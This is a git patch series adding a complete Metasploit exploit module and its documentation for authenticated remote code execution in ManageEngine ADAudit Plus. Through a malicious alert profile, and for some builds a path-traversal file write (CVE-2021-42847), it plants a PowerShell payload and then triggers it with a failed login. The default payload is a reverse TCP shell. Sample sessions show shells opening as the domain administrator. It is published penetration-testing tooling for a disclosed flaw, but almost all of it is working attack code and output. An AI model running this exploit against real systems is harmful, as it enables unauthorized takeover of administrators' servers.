From 9f68a5f8d10af7b27eb4a6fe974a8ff7e0502648 Mon Sep 17 00:00:00 2001 From: ErikWynter Date: Wed, 12 Oct 2022 14:00:12 +0300 Subject: [PATCH 01/26] add manageengine_adaudit_plus_authenticated_rce exploit module and docs --- ...geengine_adaudit_plus_authenticated_rce.md | 134 ++++ ...geengine_adaudit_plus_authenticated_rce.rb | 726 ++++++++++++++++++ 2 files changed, 860 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md create mode 100644 modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md new file mode 100644 index 0000000000..2ddee1958c --- /dev/null +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -0,0 +1,134 @@ +## Vulnerable Application +The module exploits security issues in ManageEngine ADAudit Plus prior to 7006 that allow authenticated users to execute arbitrary code +by creating a custom alert profile and leveraging the custom alert script component. + +The module first runs a few checks to test the provided credentials, retrieve the configured domain(s) and obtain the build number. +If the credentials are valid and the target is vulnerable, the module creates an alert profile that will be triggered +for any failed login attempt to the configured domain. + +For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile. + +For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script +in the alert_scripts directory that contains the payload. +The name of this script is then provided as the value for the custom alert script component of the alert profile. + +The module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. + +This module requires valid credentials for an account with the privileges to create alert scripts. +It has been successfully tested against ManageEngine ADAudit Plus builds 7003 and 7005 running on Windows Server 2012 R2. + +## Installation Information +Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). + +After running the installer, you can launch ADAudit Plus by opening Command Prompt with administrator privileges +and then running: `\bin\run.bat` + +Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. + +The default ADAudit Plus credentials (set as default options for the module) are `admin`:`admin` + +## Verification Steps +1. Start msfconsole +2. Do: `use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce` +3. Do: `set RHOSTS [IP]` +4. Do: `set LHOST [IP]` +5. Do: `set USERNAME [username]` +6. Do: `set PASSWORD [password]` +7. Do: `exploit` + +## Options +### AUTH_DOMAIN +The ADAudit Plus authentication domain to use. The default is `ADAuditPlus Authentication`. If the provided domain +does not match an authentication domain that is configured for the target, the module will throw an error and inform the user. + +### USERNAME +Username to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials + +### PASSWORD +Password to authenticate with. The default is `admin`, which matches the default ADAudit Plus credentials + +## Scenarios +### ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2 +``` +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.91.250 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 8081 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to ManageEngine ADAudit Plus + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.91.195 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run + +[*] Started reverse TCP handler on 192.168.91.195:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias LIES. +[*] Trying to authenticate... +[*] Found 1 configured domain(s): +[*] - LIES.local: LIES.local +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 7003 +[*] Attempting to create an alert profile +[+] Successfully created alert profile UiYnupjyi24 +[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials. +[*] Trigger attempt completed. Let's hope we get a shell... +[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:54442) at 2022-10-12 12:09:43 +0300 +[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:54441) at 2022-10-12 12:09:43 +0300 +[*] Attempting to delete alert UiYnupjyi24 +[+] Successfully deleted alert UiYnupjyi24 + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> +``` + +### ManageEngine ADAudit Plus build 7005 running on Windows Server 2012 R2 +``` +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run + +[*] Started reverse TCP handler on 192.168.91.195:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias LIES. +[*] Trying to authenticate... +[*] Found 1 configured domain(s): +[*] - LIES.local: LIES.local +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists. +[*] Attempting to authenticate again in order to retrieve the required cookies. +[*] Attempting to create an alert profile +[*] Attempting to write the payload to /alert_scripts/mwlhr.ps1 +[+] Successfully wrote the payload to /alert_scripts/mwlhr.ps1 in the ManageEngine ADAudit Plus install directory +[+] Successfully created alert profile dVmy0Ygz +[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials. +[*] Trigger attempt completed. Let's hope we get a shell... +[!] Make sure to manually cleanup the mwlhr.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory +[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:41348) at 2022-10-12 12:59:28 +0300 +[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:41347) at 2022-10-12 12:59:28 +0300 +[*] Attempting to delete alert profile dVmy0Ygz +[+] Successfully deleted profile alert dVmy0Ygz + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> +``` diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb new file mode 100644 index 0000000000..bcaad8bc5d --- /dev/null +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -0,0 +1,726 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE', + 'Description' => %q{ + This module exploits security issues in ManageEngine ADAudit Plus + prior to 7006 that allow authenticated users to execute arbitrary + code by creating a custom alert profile and leveraging the custom + alert script component. + + The module first runs a few checks to test the provided + credentials, retrieve the configured domain(s) and obtain the + build number. If the credentials are valid and the target is + vulnerable, the module creates an alert profile that will be + triggered for any failed login attempt to the configured domain. + + For versions prior to build 7004, the payload is directly inserted + in the custom alert script component of the alert profile. + + For versions 7004 and 7005, the module leverages an arbitrary file + write vulnerability (CVE-2021-42847) to create a Powershell script + in the alert_scripts directory that contains the payload. The name + of this script is then provided as the value for the custom alert + script component of the alert profile. + + This module requires valid credentials for an account with the + privileges to create alert scripts. It has been successfully tested + against ManageEngine ADAudit Plus builds 7003 and 7005 running on + Windows Server 2012 R2. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Moon', # CVE-2021-42847 discovery + 'Erik Wynter' # @wyntererik - Additional research and Metasploit + ], + 'References' => [ + ['CVE', '2021-42847'], + ], + 'Privileged' => false, + 'DisclosureDate' => '2021-10-01', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Windows Command', + { + 'Type' => :win_cmd, + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8081, + 'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [FIRST_ATTEMPT_FAIL], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']), + OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']), + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']), + ]) + end + + def auth_domain + datastore['AUTH_DOMAIN'] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def gpo_watcher_data_uri + normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData') + end + + def gpo_watcher_data_check + res = send_request_cgi({ + 'uri' => gpo_watcher_data_uri, + 'method' => 'POST' + }) + + return 1 unless res + return 2 unless res.code == 200 + + 0 + end + + # this method will return an Array consisting of a return code and either a cookie or a failure message + # return code 0 means authentication succeeded + # return code 1 indicates failure corresponding to CheckCode::Unknown and Failure::Unknown + # return code 2 indicates invalid credentials, this corresponds to CheckCode::Safe and Failure::NoAccess + def authenticate(mode = 'standard') + if mode == 'trigger_payload' + cookie_jar.clear # let's start fresh + print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") + trigger_attempt_fail_message = " You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." + else + trigger_attempt_fail_message = '' + end + + # visit the default page again to get required cookies + res1 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res1 + return [1, "Connection failed.#{trigger_attempt_fail_message}"] + end + + unless res1.code == 200 && res1.headers.include?('Set-Cookie') + return [1, "Failed to obtain the necessary cookies to proceed.#{trigger_attempt_fail_message}"] + end + + # visit another page for more required cookies + unless mode == 'silent' + vprint_status('Attempting to obtain the required cookies for authentication') + end + res2 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js'), + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res2 + return [1, "Connection failed.#{trigger_attempt_fail_message}"] + end + + unless res2.code == 200 && res2.headers.include?('Set-Cookie') && res2.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ + return [1, "Failed to obtain the cookies required for authentication#{trigger_attempt_fail_message}"] + end + + # finally try to authenticate + if mode == 'trigger_payload' # we should provide incorrect credentials + post_vars = { + 'forChecking' => '', + 'j_username' => rand_text_alphanumeric(5..8), + 'j_password' => rand_text_alphanumeric(8..12), + 'domainName' => @domain_alias, + 'AUTHRULE_NAME' => 'Authenticator' + } + else + post_vars = { + 'forChecking' => '', + 'j_username' => username, + 'j_password' => password, + 'domainName' => auth_domain, + 'AUTHRULE_NAME' => 'Authenticator' + } + end + + if mode == 'standard' + print_status('Trying to authenticate...') + end + res3 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'j_security_check'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => post_vars + }) + + if mode == 'trigger_payload' + # if we're only here to trigger the payload, we don't need to perform any additional requests / parsing + if res3 + if res3.code == 200 && res3.body =~ /ADAudit Plus/ + print_status("Trigger attempt completed. Let's hope we get a shell...") + else + print_warning('Received unexpected reply after sending the trigger request. Exploitation may not work.') + end + else + print_error('Connection failed while trying to trigger the payload, exploitation most likely failed.') + print_warning(trigger_attempt_fail_message) + end + + # we don't need to return a cookie here + return [0, nil] + end + + unless res3 + return [1, 'Connection failed'] + end + + unless res3.code == 303 && res3.headers.include?('Set-Cookie') + return [2, 'Failed to authenticate.'] + end + + # check if we are actually logged in by visiting the home page + res4 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res4 + return [1, 'Connection failed'] + end + + unless res4.code == 200 && res4.body.include?('ManageEngine ADAudit Plus web client is initializing') + return [2, 'The web app failed to load after authenticating'] + end + + # return the value of the adapcsrf cookie, which will be required for later actions + adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first + if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? + return [2, 'Failed to obtain the required adapcsrf cookie'] + end + + # In order to get a cookie we can actually use, we now need to obtain the configured domains via the api + if mode == 'silent' + return obtain_configured_domains(adapcsrf_cookie.value, silent: true) + end + + csrf_res, adapcsrf_cookie = obtain_configured_domains(adapcsrf_cookie.value) + + case csrf_res + when 1 + return [1, 'Authentication succeeded, but the connection failed while attempting to obtain the adapcsrf cookie required for further requests'] + when 2 + return [2, 'Authentication succeeded, but it was not possible to obtain the adapcsrf cookie required for further requests'] + end + + print_good('Successfully authenticated') + return [0, adapcsrf_cookie] + end + + def check_build(adapcsrf_cookie) + # for this to work we'll first have to obtain the configured domains + + vprint_status('Attempting to obtain the ADAudit Plus build number') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'adapcsrf' => adapcsrf_cookie + } + }) + + unless res + return CheckCode::Unknown('Connection failed') + end + + unless res.code == 200 && res.body =~ /"buildNumber":".*?",/ + return CheckCode::Unknown('Received unexpected reply when attempting to obtain the build number.') + end + + build = res.body.scan(/"buildNumber":"(.*?)",/)&.flatten&.first + if build.nil? || build.empty? + return CheckCode::Detected('No build number was obtained.') + end + + build_version = Rex::Version.new(build) + if build_version < Rex::Version.new('7004') + @exploit_method = 'default' + return CheckCode::Appears("The target is ADAudit Plus #{build_version}") + end + + # for builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 is the vulnerable endpoint exists + if build_version < Rex::Version.new('7006') + endpoint_check = gpo_watcher_data_check + case endpoint_check + when 0 + @exploit_method = 'cve_2021_42847' + return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.") + when 1 + return CheckCode::Unknown("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") + when 2 + return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") + end + end + + return CheckCode::Safe("The target is ADAudit Plus #{build_version}") + end + + def obtain_configured_domains(adapcsrf_cookie, silent: false) + unless silent + vprint_status('Attempting to obtain the list of configured domains...') + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'JSONString' => '{"checkGDPR":true}', + 'adapcsrf' => adapcsrf_cookie + } + }) + + unless res + print_error('Connection failed while attempting to obtain the list of configured domains...') + return [1, nil] + end + + if res.code == 200 && res.body.include?('domainFullList') + unless silent + begin + domain_info = JSON.parse(res.body) + if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? + print_warning('Failed to identify any configured domains. The module will continue but exploitation may fail.') + else + domain_full_list = domain_info['domainFullList'] + print_status("Found #{domain_full_list.length} configured domain(s):") + + if domain_full_list&.first&.include?('name') + @domain = domain_full_list.first['name'] + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + end + + domain_full_list.each do |domain| + d_name = domain['name'] + value = domain['value'] + print_status("- #{d_name}: #{value}") + end + end + rescue JSON::ParserError => e + print_error('Failed to identify any configured domains - The server response did not contain valid JSON') + print_line(e) + end + end + else + print_error('Failed to obtain the list of configured domains.') + print_warning('While this failure is not critical, it is unexpected, so the exploit may fail.') + end + + # return the value of the adapcsrf cookie, which will be required for later actions + adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first + if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? + print_error('Failed to obtain the required adapcsrf cookie') + return [2, nil] + end + + [0, adapcsrf_cookie.value] + end + + def delete_alert(adapcsrf_cookie) + print_status("Attempting to delete alert profile #{@alert_name}") + # let's try and get the the ID of the alert we want to delete + res1 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'TAB_ID' => '5', # this cannot be randomized + 'adapcsrf' => adapcsrf_cookie + } + }) + + unless res1 + print_error("Connection failed when attempting to obtain the alert profile ID #{@alert_name}") + print_warning('Manual cleanup required.') + return + end + + unless res1.code == 200 && res1.body =~ /modelId":(\d+),"name":"#{@alert_name}/ + print_error("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}") + print_warning('Manual cleanup required.') + return + end + + alert_id = res1.body.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first + + res2 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'data' => { 'ids' => [alert_id] }.to_json, + 'adapcsrf' => adapcsrf_cookie + } + }) + + unless res2 + print_error("Connection failed when attempting to delete alert profile #{@alert_name}") + print_warning('Manual cleanup required.') + return + end + + unless res2.code == 200 && res2.body.include?('Successfully deleted the alert profile') + print_error("Received unexpected reply when attempting to delete alert profile #{@alert_name}") + print_warning('Manual cleanup required.') + return + end + + print_good("Successfully deleted alert profile #{@alert_name}") + end + + def alert_json_string + { + 'inputParams' => { + 'alertid' => 'All', + 'chosenServerValue' => 'twfourhours', + 'alertType' => '0', + 'totalCount' => 0, + 'getTime' => false + } + }.to_json + end + + def create_alert_profile + if @exploit_method == 'cve_2021_42847' + print_status('Attempting to authenticate again in order to retrieve the required cookies.') + # we have to authenticate again in order to get the required cookie + cookie_jar.clear + auth_res_code, cookie_or_err_msg = authenticate('silent') # need to add modes for authenticate (regular, trigger or cleanup) + case auth_res_code + when 1 + fail_with(Failure::Unknown, cookie_or_err_msg) + when 2 + fail_with(Failure::NoAccess, cookie_or_err_msg) + end + + @adapcsrf_cookie = cookie_or_err_msg + end + + print_status('Attempting to create an alert profile') + # visit /api/json/jsMessage to see if we're dealing with 7003 or lower + res1 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'jsMessage'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { 'adapcsrf' => @adapcsrf_cookie } + }) + + unless res1 + fail_with(Failure::Unknown, 'Connection failed when trying to get the required info via /api/json/jsMessage') + end + + unless res1.code == 200 && res1.body.include?('adap_common_script_info') + fail_with(Failure::Unknown, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') + end + + alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\ + 'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security' + + if res1.body.include?(alert_script_7004_msg) + # we are dealing with 7004 or higher. so exploitation can only succeed if the exploit method is cve_2021_42847 + unless @exploit_method == 'cve_2021_42847' + # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck + gpo_watcher_data_res = gpo_watcher_data_check + unless gpo_watcher_data_res == 0 + fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.') + end + + # here we have to authenticate again in order to get the required cookie + cookie_jar.clear + auth_res_code, cookie_or_err_msg = authenticate('silent') # need to add modes for authenticate (regular, trigger or cleanup) + case auth_res_code + when 1 + fail_with(Failure::Unknown, cookie_or_err_msg) + when 2 + fail_with(Failure::NoAccess, cookie_or_err_msg) + end + + @adapcsrf_cookie = cookie_or_err_msg + end + + # we need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name when creating the alert profile + @ps1_script_name = create_alert_script + end + + @alert_name, alert_data = alert_profile_info + res2 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'data' => alert_data, + 'adapcsrf' => @adapcsrf_cookie + } + }) + + unless res2 + fail_with(Failure::Unknown, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save') + end + + unless res2.code == 200 && res2.body.include?('Successfully Saved the Alert Profile') + print_error("The server sent the following response: #{res2.body&.strip}") + @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil + fail_with(Failure::Unknown, 'Failed to create an alert profile via /api/json/config/alertprofiles/save') + end + + print_good("Successfully created alert profile #{@alert_name}") + end + + def alert_profile_info + script_location = @ps1_script_name || payload.encoded + + alert_name = rand_text_alphanumeric(8..12) + alert_data = { + 'alertName' => alert_name, + 'alertDescription' => rand_text_alpha(20..30), + 'alertSeverity' => '1', + 'alertMsg' => '%FORMAT_MESSAGE%', + 'alertIsMailNotify' => false, + 'alertIsSMSNotify' => false, + 'monitorList' => [1], + 'selectedCategory' => 'All', + 'domainName' => @domain, + 'isSave' => true, + 'alertProfileId' => 'new', + 'thresholdBasedAlert' => false, + 'thresholdCount' => rand(5..15), + 'thresholdPeriod' => '=', + 'thresholdInterval' => rand(3..10), + 'thresholdGroupingColumns' => [], + 'throttleBasedAlert' => false, + 'throttleInterval' => rand(30..90), + 'throttleGroupingColumns' => [], + 'userMap' => {}, + 'hourBasedAlert' => false, + 'contentType' => 'html', + 'alertMsgNeeded' => true, + 'alertProfileNameNeeded' => true, + 'mailAlertLink' => '', + 'eventDetails' => true, + 'emailMoreRecipients' => '', + 'smsMoreRecipients' => '', + 'scriptLocation' => script_location, + 'alertFilter' => false, + 'criteriaValue' => '-' + }.to_json + + # we need to send along the alert name too since we'll need it to delete the alert after it's been created + [alert_name, alert_data] + end + + def create_alert_script + ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1" + print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}") + + if @domain.blank? + @domain = "#{rand_text_alpha_lower(5..10)}.local" + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + end + + json_post_data = { + 'isGPOData' => true, + 'DOMAIN_NAME' => @domain, + # match the standard format for GPO GUIDs for a dash of extra stealth + 'GPO_GUID' => "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase, + 'GPO_VERSION' => rand(1..9), + # use the same VER_FILE_NAME format as ADAudit Plus for a dash of extra stealth + 'VER_FILE_NAME' => "#{rand(1..9)}_#{Rex::Text.rand_text_numeric(18)}".downcase + '.xml', + 'xmlReport' => '<?xml version="1.0" encoding="utf-16"?>', + 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed + 'htmlReport' => payload.encoded + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData'), + 'ctype' => 'application/json', + 'data' => json_post_data + }) + + unless res + fail_with(Failure::Unknown, 'Connection failed') + end + + unless res.code == 200 && res.body.include?('{"success":true}') + fail_with(Failure::Unknown, 'Failed to upload the payload.') + end + + print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory") + ps1_script_name + end + + def check + # visit the default page to check if the target is ADAudit Plus + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + }) + + unless res + return CheckCode::Unknown('Connection failed') + end + + unless res.code == 200 && res.body =~ /<title>ADAudit Plus/ + return CheckCode::Safe('Does not appear to be ADAudit Plus') + end + + # in order to trigger the final payload in the exploit method, we will need to send an authentication request to ADAudit Plus with incorrect active directory credentials + # if the user didn't provide an active directory domain, we can try to extract the FQDN for a configured domain from the server response + domain_aliases = res.body.scan(/<select id="domainName" name="domainName".*?<option value="(.*?)">/m)&.flatten + + if domain_aliases.blank? + return CheckCode::Safe("No configured active directory domains were found. The target may or may not be vulnerable but the module won't be able to trigger the payload.") + end + + if auth_domain == 'ADAuditPlus Authentication' + @domain_alias = domain_aliases.first + else + unless domain_aliases.include?(auth_domain) + print_status('Identified the following configured authentication domain(s):') + domain_aliases.each do |dom| + print_line("- #{dom}") + end + return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") + end + + @domain_alias = auth_domain + end + + print_status("Using configured authentication domain alias #{@domain_alias}.") + + # in order to obtain the build version, we need to authenticate + auth_res_code, cookie_or_err_msg = authenticate + case auth_res_code + when 1 + return CheckCode::Unknown(cookie_or_err_msg) + when 2 + return CheckCode::Safe(cookie_or_err_msg) + end + + @adapcsrf_cookie = cookie_or_err_msg + + # check the build version + check_build(cookie_or_err_msg) + end + + def exploit + if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method + @exploit_method = 'default' + elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/ + print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.') + print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload') + end + + if @adapcsrf_cookie.blank? + # let's clear the cookie jar and try to authenticate + cookie_jar.clear + auth_res_code, cookie_or_err_msg = authenticate + + case auth_res_code + when 1 + fail_with(Failure::Unknown, cookie_or_err_msg) + when 2 + fail_with(Failure::NoAccess, cookie_or_err_msg) + end + + @adapcsrf_cookie = cookie_or_err_msg + end + + # let's create the alert profile + create_alert_profile + + # time to trigger the payload + auth_res_code, cookie_or_err_msg = authenticate('trigger_payload') + case auth_res_code + when 1 + fail_with(Failure::Unknown, cookie_or_err_msg) + when 2 + fail_with(Failure::NoAccess, cookie_or_err_msg) + end + + @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session + end + + def cleanup + return unless @alert_name # this should only run if we actually created an alert + + if @pwned == 0 + print_error('Failed to obtain a shell. You could try increasing the WfsDelay value') + end + cookie_jar.clear + auth_res_code, cookie_or_err_msg = authenticate('silent') # need to add modes for authenticate (regular, trigger or cleanup) + unless auth_res_code == 0 + print_error('Failed to authenticate in order to perform cleanup') + print_warning('Manual cleanup required') + return + end + + delete_alert(cookie_or_err_msg) + end + + def on_new_session(cli) + @pwned += 1 + # if we wrote a PowerShell script to /alert_scripts, remind the user to delete it + # we may get two shells, so let's not repeat ourselves + if @pwned == 1 + # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically + # but when loading them manually, they worked it fine + if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason + vprint_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'") + end + + if @ps1_script_name + # meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script + print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory") + end + end + super + end +end From 3b0d8b850b2bbcd014dea8f0b43bb99b7921a9f6 Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Fri, 14 Oct 2022 17:54:10 -0500 Subject: [PATCH 02/26] Fix up some issues identified during review --- ...geengine_adaudit_plus_authenticated_rce.md | 10 +- ...geengine_adaudit_plus_authenticated_rce.rb | 155 +++++++++--------- 2 files changed, 86 insertions(+), 79 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index 2ddee1958c..b4c7659ffa 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -9,14 +9,16 @@ for any failed login attempt to the configured domain. For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile. For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script -in the alert_scripts directory that contains the payload. -The name of this script is then provided as the value for the custom alert script component of the alert profile. +in the alert_scripts directory that contains the payload. The name of this script is then provided as the value for the custom +alert script component of the alert profile. The module will automatically delete the created alert profile before completing. This happens even if no shell was obtained. This module requires valid credentials for an account with the privileges to create alert scripts. It has been successfully tested against ManageEngine ADAudit Plus builds 7003 and 7005 running on Windows Server 2012 R2. +Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator. + ## Installation Information Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). @@ -102,6 +104,8 @@ msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run [*] Attempting to delete alert UiYnupjyi24 [+] Successfully deleted alert UiYnupjyi24 +PS C:\Program Files\ManageEngine\ADAudit Plus\bin>whoami +lies\administrator PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ``` @@ -130,5 +134,7 @@ msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run [*] Attempting to delete alert profile dVmy0Ygz [+] Successfully deleted profile alert dVmy0Ygz +PS C:\Program Files\ManageEngine\ADAudit 